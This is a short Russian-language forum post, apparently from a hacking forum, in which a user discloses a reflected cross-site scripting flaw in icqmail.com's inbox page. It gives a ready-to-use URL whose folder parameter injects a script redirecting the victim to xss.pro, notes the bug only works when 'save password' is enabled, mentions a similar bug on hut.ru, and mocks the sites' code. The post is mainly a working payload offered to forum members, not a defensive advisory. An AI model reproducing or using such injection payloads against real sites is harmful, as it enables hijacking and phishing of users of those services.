• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязмимости: Icqmail.com

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Icqmail.com XSS

Код:
http://www.icqmail.com/mail/ms_inbox.asp?Current_folder=
[script]location.replace("http://www.xss.pro/")[/script]

Бага на icqmail.com работает только если поставлена опция сохранить пароль. Если левый чел кликнет по ссылке, он попадет на главную страницу. Бага на hut.ru работает в любом случае. Вот ещё новые XSS на известных сервисах,что говорит о их корявом написании.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх